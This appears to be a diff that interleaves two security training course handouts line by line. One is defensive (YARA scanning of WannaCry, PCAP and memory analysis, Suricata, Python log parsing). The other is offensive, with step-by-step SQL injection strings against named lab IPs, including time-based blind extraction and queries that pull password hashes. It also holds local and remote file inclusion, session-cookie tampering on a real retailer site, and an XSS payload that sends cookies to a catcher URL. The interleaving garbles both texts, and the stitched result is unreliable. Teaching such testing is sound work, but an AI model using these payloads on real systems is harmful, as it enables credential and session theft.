        $string10 = "msg/m_finnish.wnry"
792-
1. Explain what is happening in lines 18 - 20 doing.
792+
        $string11 = "msg/m_french.wnry"
793-
2. What is pattern_create.rb doing and where can I find it?
793+
        $string12 = "msg/m_german.wnry"
794-
3. Why can’t I just double click the file to run this script?
794+
        $string13 = "msg/m_greek.wnry"
795
        $string14 = "msg/m_indonesian.wnry"
796
        $string15 = "msg/m_italian.wnry"
797
        $string16 = "msg/m_japanese.wnry"
798-
ff3.py
798+
        $string17 = "msg/m_korean.wnry"
799-
1. Explain what is happening in lines 17 - to 25?
799+
        $string18 = "msg/m_latvian.wnry"
800-
2. Explain what is happening in lines 30 - to 32?
800+
        $string19 = "msg/m_norwegian.wnry"
801-
3. Why is everything below line 35 commented out?
801+
        $string20 = "msg/m_polish.wnry"
802
        $string21 = "msg/m_portuguese.wnry"
803
        $string22 = "msg/m_romanian.wnry"
804
        $string23 = "msg/m_russian.wnry"
805-
ff4.py
805+
        $string24 = "msg/m_slovak.wnry"
806-
1. Explain what is happening in lines 13 to 15.
806+
        $string25 = "msg/m_spanish.wnry"
807-
2. Explain what is happening in line 19.
807+
        $string26 = "msg/m_swedish.wnry"
808-
3. What is the total length of buff?
808+
        $string27 = "msg/m_turkish.wnry"
809
        $string28 = "msg/m_vietnamese.wnry"
810
 
811
 
812-
ff5.py
812+
    condition:
813-
1. Explain what is happening in line 15.
813+
        any of ($string*)
814-
2. What is struct.pack?
814+
}
815-
3. How big is the shellcode in this script?
815+
----------------------------------------------------------------------------
816
 
817
 
818
 
819-
ff6.py
819+
820-
1. What is the distance to EIP?
820+
821-
2. How big is the shellcode in this script?
821+
822-
3. What is the total byte length of the data being sent to this app?
822+
823
 
824
---------------------------Type This-----------------------------------
825
 
826
yara wannacry_2.yar wannacry.exe
827-
ff7.py
827+
828-
1. What is a tuple in python?
828+
829-
2. How big is the shellcode in this script?
829+
830-
3. Did your app crash in from this script?
830+
831
 
832
---------------------------Type This-----------------------------------
833
cd ~
834
 
835-
ff8.py
835+
yara rules/index.yar wannacry.exe
836-
1. How big is the shellcode in this script?
836+
837-
2. What is try/except in python?
837+
cd rules/
838-
3. What is socket.SOCK_STREAM in Python?
838+
839
ls
840
 
841
cd malware/
842-
ff9.py
842+
843-
1. What is going on in lines 19 and 20?
843+
ls | grep -i ransom
844-
2. What is the length of the NOPs?
844+
845-
3. From what DLL did the address of the JMP ESP come from?
845+
ls | grep -i rat
846
 
847
ls | grep -i toolkit
848
 
849
ls | grep -i apt
850-
ff010.py
850+
851-
1. What is going on in lines 18 - 20?
851+
cd ..
852-
2. What is going on in lines 29 - 32?
852+
853-
3. How would a stack adjustment help this script?
853+
cd capabilities/
854
 
855
ls
856
 
857
cat capabilities.yar
858-
# Offensive Cyber Operations Job Roles  #
858+
859-
# Offensive Cyber Level 1               #
859+
cd ..
860
 
861-
Required Technical Skills: 		Comfortable with basic Linux/Windows (MCSA/Linux+)
861+
cd cve_rules/
862
 
863
ls
864
 
865
cd ..
866
 
867-
Job Task: 						Run network security scanners and assist with documentation of known vulnerabilities
867+
./index_gen.sh
868
 
869
cd ..
870-
Tools Used:
870+
871-
								Nmap
871+
yara rules/index.yar wannacry.exe
872-
    							Nexpose
872+
873-
    							Qualys
873+
yara rules/index.yar wannacry.exe > ~/students/[yourname]/blah
874-
    							Retina
874+
875-
    							Nessus              known vulnerabilities
875+
cd ~/students/[yourname]
876-
    							OpenVas
876+
877-
    							Foundscan
877+
cat blah | grep -v warning
878-
    							GFI LanGuard
878+
879-
    							NCircle
879+
880
 
881
 
882
-----------------------------------------------------------------------
883
884-
# Offensive Cyber Operations Job Roles  #
884+
885-
# Offensive Cyber Level 2               #
885+
886
887-
Required Technical Skills: 		Comfortable with basic Linux/Windows system administration
887+
                            ###############################
888
----------- ############### # Threat Hunting on the wire  # ############### -----------
889
                            ###############################
890
891
892
893
894-
Job Task: 						Run network security scanners and assist with document of known vulnerabilities
894+
895-
								Perform manual vulnerability validation
895+
896-
								Analyze public exploit and develop threat analysis reports
896+
897-
								Assess simple applications for vulnerabilities
897+
898
 
899
---------------------------Type this as a regular user----------------------------------
900
 
901
cd ~/pcap_analysis/prads
902
 
903-
# Offensive Cyber Level 3               #
903+
904
 
905
cat prads-asset.log | less
906-
Required Technical Skills: 		Strong programming background (C, C++, Java, Assembly, scripting languages)
906+
907
cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
908
 
909
cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
910
 
911
cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
912
-----------------------------------------------------------------------
913
 
914-
Job Task: 						Perform manual vulnerability validation
914+
915-
								Analyze public exploit and develop threat analysis reports
915+
916-
								Assess complex applications for vulnerabilities
916+
917
##################################
918
# PCAP Analysis with ChaosReader #
919
# Note: run as regular user      #
920
##################################
921
---------------------------Type this as a regular user----------------------------------
922
923
cd ~/pcap_analysis/chaos_reader/
924
 
925
perl chaosreader.pl suspicious-time.pcap
926-
# Basic: Web Application Testing #
926+
927
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
928
 
929-
Most people are going to tell you reference the OWASP Testing guide.
929+
930-
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
930+
931
 
932-
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
932+
933
934
935-
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
935+
936-
   
936+
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst
937-
    1. Does the website talk to a DB?
937+
938-
        - Look for parameter passing (ex: site.com/page.php?id=4)
938+
939-
        - If yes - try SQL Injection
939+
python check-urls-virustotal.py url.lst
940
 
941-
    2. Can I or someone else see what I type?
941+
942-
        - If yes - try XSS
942+
943
 
944-
    3. Does the page reference a file?
944+
945-
        - If yes - try LFI/RFI
945+
946
 
947-
Let's start with some manual testing against 45.63.104.73
947+
948
 
949
 
950-
#######################
950+
951-
# Attacking PHP/MySQL #
951+
952-
#######################
952+
953
#############################
954-
Go to LAMP Target homepage
954+
955-
http://45.63.104.73/
955+
cd ~/pcap_analysis/tshark
956
 
957
tshark -i ens3 -r suspicious-time.pcap -qz io,phs
958
 
959-
Clicking on the Acer Link:
959+
960-
http://45.63.104.73/acre2.php?lap=acer
960+
961
tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
962-
   - Found parameter passing (answer yes to question 1)
962+
963-
   - Insert ' to test for SQLI
963+
964
 
965
 
966
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
967-
http://45.63.104.73/acre2.php?lap=acer'
967+
968
whois rapidshare.com.eyu32.ru
969
 
970
whois sploitme.com.cn
971-
Page returns the following error:
971+
972-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
972+
973
 
974
tshark -r suspicious-time.pcap -qz http_req,tree
975
 
976-
In order to perform union-based sql injection - we must first determine the number of columns in this query.
976+
977-
We do this using the ORDER BY
977+
978
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
979
------------------------------------------------------------------------
980
 
981-
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
981+
982
###############################
983
# Extracting files from PCAPs #
984-
Page returns the following error:
984+
# Note: run as regular user   #
985-
Unknown column '100' in 'order clause'
985+
986
---------------------------Type this as a regular user--------------------------------- 
987
988
cd ~/pcap_analysis/extract_files
989
990-
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
990+
foremost -v -i suspicious-time.pcap
991
992
cd output
993-
Page returns the following error:
993+
994-
Unknown column '50' in 'order clause'
994+
995
996
cat audit.txt
997
998
cd exe
999-
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
999+
1000
wget https://raw.githubusercontent.com/GREEKYnikhilsharma/Xen0ph0n-VirusTotal_API_Tool-Python3/master/vtlite.py
1001
1002-
Page returns the following error:
1002+
******* NOTE: You will need to put your virustotal API key in vtlite.py *******
1003-
Unknown column '25' in 'order clause'
1003+
1004
for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
1005
--------------------------------------------------------------------------------------- 
1006
 
1007
1008-
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
1008+
1009
###################################
1010
# Setting up Suricata             #
1011-
Page returns the following error:
1011+
# Note: run as root user          #
1012-
Unknown column '12' in 'order clause'
1012+
###################################
1013
 
1014
 
1015
Here is where we will setup all of the required dependencies for the tools we plan to install
1016
---------------------------Type this as root--------------------------
1017-
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
1017+
apt update
1018
apt-get install -y libpcre3-dbg libpcre3-dev autoconf automake libtool libpcap-dev libnet1-dev libyaml-dev libjansson4 libcap-ng-dev libmagic-dev libjansson-dev zlib1g-dev libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev cmake make gcc g++ flex bison libpcap-dev libssl-dev unzip python-dev swig zlib1g-dev sendmail sendmail-bin prads tcpflow python-scapy python-yara tshark whois jq prads foremost python3-dnspython 
1019
-----------------------------------------------------------------------
1020-
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
1020+
1021
 
1022
 
1023
 
1024-
Now we build out the union all select statement with the correct number of columns
1024+
Now we install Suricata
1025
---------------------------Type this  as root-------------------------------
1026
cd /root/
1027-
http://www.techonthenet.com/sql/union.php
1027+
1028
wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz
1029
 
1030
tar -zxvf suricata-4.0.5.tar.gz
1031
 
1032-
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
1032+
cd suricata-4.0.5
1033
 
1034
./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --localstatedir=/var
1035
 
1036
make
1037-
Now we negate the parameter value 'acer' by turning into the word 'null':
1037+
1038
make install
1039
 
1040-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
1040+
make install-conf
1041
 
1042
cd rules
1043-
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
1043+
1044
cp *.rules /etc/suricata/rules/
1045
 
1046-
Use a cheat sheet for syntax:
1046+
cd /etc/suricata/
1047-
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
1047+
1048
wget https://rules.emergingthreats.net/open/suricata-4.0/emerging.rules.tar.gz
1049
 
1050
tar -zxvf emerging.rules.tar.gz
1051-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
1051+
1052
1053-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
1053+
1054
1055-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
1055+
1056
 
1057-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
1057+
1058
# PCAP Analysis with Suricata #
1059
# Note: run as root           #
1060-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
1060+
1061
--------------------------Type this as root--------------------------------
1062
cd ~
1063
1064
mkdir suricata/
1065
 
1066-
########################
1066+
cd suricata/
1067-
# Question I get a lot #
1067+
1068-
########################
1068+
1069-
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
1069+
1070
sudo suricata -c /etc/suricata/suricata.yaml -r suspicious-time.pcap -l suri/
1071-
Here is a good reference for it:
1071+
1072-
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
1072+
cd suri/
1073
 
1074-
Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
1074+
cat stats.log | less
1075
 
1076
cat eve.json |grep -E "e\":\"http"|jq ".timestamp,.http"|csplit - /..T..:/ {*}
1077
 
1078
cat xx01
1079-
#########################
1079+
1080-
# File Handling Attacks #
1080+
cat xx02
1081-
#########################
1081+
1082
cat xx03
1083-
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
1083+
1084
cat xx04
1085
 
1086
cat xx05
1087-
http://45.63.104.73/showfile.php?filename=about.txt
1087+
1088
cat xx06
1089
------------------------------------------------------------------------
1090
 
1091
 
1092-
See if you can read files on the file system:
1092+
1093
# PCAP Analysis with Yara   #
1094
# Note: run as regular user #
1095-
http://45.63.104.73/showfile.php?filename=/etc/passwd
1095+
1096
-------------------------Type this as a regular user----------------------------------
1097
cd ~/pcap_analysis/YaraPcap/
1098-
We call this attack a Local File Include or LFI.
1098+
1099
1100-
Now let's find some text out on the internet somewhere:
1100+
python yaraPcap.py rules-master/index.yar suspicious-time.pcap -s matching_files/
1101-
https://www.gnu.org/software/hello/manual/hello.txt
1101+
1102
1103
cd matching_files/
1104-
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
1104+
1105
ls
1106
1107
cat report.txt
1108-
http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
1108+
1109
1110
1111-
#########################################################################################
1111+
1112-
# SQL Injection                                                                         #
1112+
cd ~/memory_analysis/
1113-
# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
1113+
volatility -h
1114-
#########################################################################################
1114+
volatility pslist -f hn_forensics.vmem
1115
volatility connscan -f hn_forensics.vmem
1116
volatility -f hn_forensics.vmem memdump -p 888 -D dump/
1117-
- Another quick way to test for SQLI is to remove the paramter value
1117+
volatility -f hn_forensics.vmem memdump -p 1752 -D dump/ 
1118
				***Takes a few min***
1119
cd ~/memory_analysis/dump/
1120
strings 1752.dmp | grep "^http://" | sort | uniq
1121-
# Error-Based SQL Injection #
1121+
strings 1752.dmp | grep "Ahttps://" | uniq -u
1122
cd ..
1123
foremost -i dump/1752.dmp -t pdf -o output/pdf/
1124
cd ~/memory_analysis/output/pdf/
1125-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
1125+
cat audit.txt
1126-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
1126+
cd pdf
1127-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
1127+
1128-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
1128+
grep -i javascript *.pdf
1129-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
1129+
1130-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
1130+
1131-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
1131+
1132-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
1132+
cd ~/memory_analysis/output/pdf/pdf/
1133-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
1133+
python pdf-parser.py -s javascript --raw 00601560.pdf
1134
python pdf-parser.py --object 11 00601560.pdf
1135
python pdf-parser.py --object 1054 --raw --filter 00601560.pdf
1136
python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
1137
 
1138
cat malicious.js	
1139
-----------------------------------------------------------------------
1140-
# Union-Based SQL Injection #
1140+
1141
1142
1143
##################################
1144
# Lesson 8: Intro to Log Analysis #
1145-
http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
1145+
1146-
http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
1146+
1147-
http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
1147+
1148-
http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
1148+
Log into your Linux host then execute the following commands:
1149-
http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
1149+
1150-
http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
1150+
NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
1151-
http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
1151+
1152-
http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
1152+
1153-
http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
1153+
1154-
http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
1154+
1155
cd ~/students/[yourname]
1156
 
1157-
   We are using a union select statement because we are joining the developer's query with one of our own.
1157+
wget http://pastebin.com/raw/85zZ5TZX
1158-
   Reference:
1158+
1159-
   http://www.techonthenet.com/sql/union.php
1159+
mv 85zZ5TZX access_log
1160-
   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
1160+
1161-
   It removes duplicate rows between the various SELECT statements.
1161+
1162
cat access_log | grep 141.101.80.188
1163-
   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
1163+
1164
cat access_log | grep 141.101.80.188 | wc -l
1165
 
1166
cat access_log | grep 141.101.80.187
1167-
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
1167+
1168
cat access_log | grep 141.101.80.187 | wc -l
1169
 
1170-
   Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
1170+
cat access_log | grep 108.162.216.204
1171
 
1172
cat access_log | grep 108.162.216.204 | wc -l
1173
 
1174-
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
1174+
cat access_log | grep 173.245.53.160
1175-
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
1175+
1176-
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
1176+
cat access_log | grep 173.245.53.160 | wc -l
1177-
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
1177+
1178
----------------------------------------------------------------------
1179
 
1180
 
1181
 
1182
 
1183
 
1184-
- Another way is to see if you can get the backend to perform an arithmetic function
1184+
1185
 
1186
######################################################
1187
# Python: Use Python to read in a file line by line  #
1188-
http://45.77.162.239/bookdetail.aspx?id=(2)
1188+
######################################################
1189-
http://45.77.162.239/bookdetail.aspx?id=(4-2)  
1189+
1190-
http://45.77.162.239/bookdetail.aspx?id=(4-1)
1190+
1191
---------------------------Type This-----------------------------------
1192
 
1193
nano logread1.py
1194-
http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
1194+
1195-
http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
1195+
1196-
http://45.77.162.239/bookdetail.aspx?id=1*1
1196+
---------------------------Paste This-----------------------------------
1197-
http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
1197+
## Open the file with read only permit
1198-
http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
1198+
f = open('access_log', "r")
1199-
http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
1199+
1200-
http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
1200+
## use readlines to read all lines in the file
1201-
http://45.77.162.239/bookdetail.aspx?id=2 &0#
1201+
## The variable "lines" is a list containing all lines
1202
lines = f.readlines()
1203
 
1204
print (lines)
1205-
http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
1205+
1206-
http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
1206+
1207-
http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
1207+
## close the file after reading the lines.
1208-
http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
1208+
f.close()
1209
 
1210
----------------------------------------------------------------------
1211
 
1212
 
1213
 
1214-
# Blind SQL Injection Testing #
1214+
1215
---------------------------Type This-----------------------------------
1216-
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
1216+
$ python3 logread1.py
1217-
   
1217+
1218-
3 - Total Characters
1218+
1219
 
1220
 
1221-
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
1221+
Google the following:
1222-
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
1222+
    - python difference between readlines and readline
1223-
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
1223+
    - python readlines and readline
1224
 
1225
 
1226-
Let's go for a quick check to see if it's DBO
1226+
Here is one student's solution - can you please explain each line of this code to me?
1227
 
1228
 
1229
---------------------------Type This-----------------------------------
1230-
http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
1230+
nano ip_search.py
1231
 
1232
 
1233-
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
1233+
---------------------------Paste This-----------------------------------
1234
#!/usr/bin/env python3
1235
 
1236
f = open('access_log')
1237-
D  - 1st Character
1237+
1238-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
1238+
strUsrinput = input("Enter IP Address: ")
1239-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
1239+
1240-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
1240+
for line in iter(f):
1241-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
1241+
   ip = line.split(" - ")[0]
1242
   if ip == strUsrinput:
1243-
B - 2nd Character
1243+
       print (line)
1244-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1244+
1245-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1245+
f.close()
1246
 
1247-
O - 3rd Character
1247+
1248-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1248+
1249-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
1249+
1250-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1250+
1251-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1251+
1252-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
1252+
1253-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
1253+
1254-
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1254+
$ python3 ip_search.py
1255
----------------------------------------------------------------------
1256
 
1257
 
1258
 
1259
Working with another student after class we came up with another solution:
1260
 
1261
---------------------------Type This-----------------------------------
1262
nano ip_search2.py
1263
 
1264-
################################
1264+
---------------------------Paste This-----------------------------------
1265-
# Playing with session cookies #
1265+
#!/usr/bin/env python3
1266-
################################
1266+
1267
 
1268
# This line opens the log file
1269-
Step 1: Browse to NewEgg.com
1269+
f=open('access_log',"r")
1270-
-------------------------Paste this into a browser--------------------------------
1270+
1271-
https://secure.newegg.com/
1271+
# This line takes each line in the log file and stores it as an element in the list
1272-
----------------------------------------------------------------------------------
1272+
lines = f.readlines()
1273
 
1274
 
1275-
Step 2: Browse to the shopping cart page NewEgg.com
1275+
# This lines stores the IP that the user types as a var called userinput
1276-
-------------------------Paste this into Firefox-----------------------------------
1276+
userinput = input("Enter the IP you want to search for: ")
1277-
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1277+
1278-
----------------------------------------------------------------------------------
1278+
1279
 
1280
# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
1281-
Step 3: View the current session ID
1281+
for ip in lines:
1282-
--------------------------Paste this into a browser---------------------------------
1282+
   if ip.find(userinput) != -1:
1283-
javascript:void(document.write(document.cookie))
1283+
       print (ip)
1284-
------------------------------------------------------------------------------------
1284+
1285
----------------------------------------------------------------------
1286-
Step 4: Go back to the shopping cart page (click the back button)
1286+
1287-
---------------------------------------------------------------------------------
1287+
1288-
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1288+
1289-
---------------------------------------------------------------------------------
1289+
1290
$ python3 ip_search2.py
1291
----------------------------------------------------------------------
1292-
Step 5: Now let's modify the session ID
1292+
1293-
--------------------------Paste this into a browser---------------------------------
1293+
1294-
javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
1294+
1295-
------------------------------------------------------------------------------------
1295+
1296
##################
1297
# Challenge Labs #
1298
##################
1299-
Step 6: Go back to the shopping cart page (click the back button)
1299+
1300-
---------------------------------------------------------------------------------
1300+
1301-
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1301+
cd ~/pcap_analysis/prads
1302-
---------------------------------------------------------------------------------
1302+
1303
cp /home/ama/mta_challenge/pizzabender.pcap .
1304
 
1305
prads -r pizzabender.pcap -l prads-asset.log
1306-
Step 7: View the current session ID
1306+
1307-
--------------------------Paste this into a browser---------------------------------
1307+
1308-
javascript:void(document.write(document.cookie))
1308+
1309-
------------------------------------------------------------------------------------
1309+
1310
 
1311
cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
1312
 
1313-
###########################################
1313+
1314-
# What is XSS                             #
1314+
1315-
# http://45.63.104.73/2-Intro_To_XSS.pptx #
1315+
1316-
###########################################
1316+
1317
 
1318-
OK - what is Cross Site Scripting (XSS)
1318+
1319
##################################
1320-
1. Use Firefox to browse to the following location:
1320+
1321
# Note: run as regular user      #
1322
##################################
1323-
   http://45.63.104.73/xss_practice/
1323+
1324
 
1325
cd ~/pcap_analysis/chaos_reader/
1326-
   A really simple search page that is vulnerable should come up.
1326+
1327
rm -rf stream* *.html session* image* index* url* *.text
1328
1329
cp /home/ama/mta_challenge/pizzabender.pcap .
1330
 
1331-
2. In the search box type:
1331+
perl chaosreader.pl pizzabender.pcap
1332
 
1333
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
1334-
   <script>alert('So this is XSS')</script>
1334+
1335
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
1336
 
1337
 
1338-
   This should pop-up an alert window with your message in it proving XSS is in fact possible.
1338+
1339-
   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1339+
1340
 
1341
 
1342-
3. In the search box type:
1342+
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst
1343
 
1344
 
1345-
   <script>alert(document.cookie)</script>
1345+
python check-urls-virustotal.py url.lst
1346
 
1347
------------------------------------------------------------------------
1348
 
1349-
   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
1349+
1350-
   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1350+
1351
 
1352-
4. Now replace that alert script with:
1352+
1353
 
1354
 
1355-
   <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
1355+
1356
#############################
1357
# PCAP Analysis with tshark #
1358
# Note: run as regular user #
1359-
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
1359+
1360
---------------------------Type this as a regular user---------------------------------
1361
cd ~/pcap_analysis/tshark
1362-
5. Now view the stolen cookie at:
1362+
1363
cp /home/ama/mta_challenge/pizzabender.pcap .
1364
 
1365-
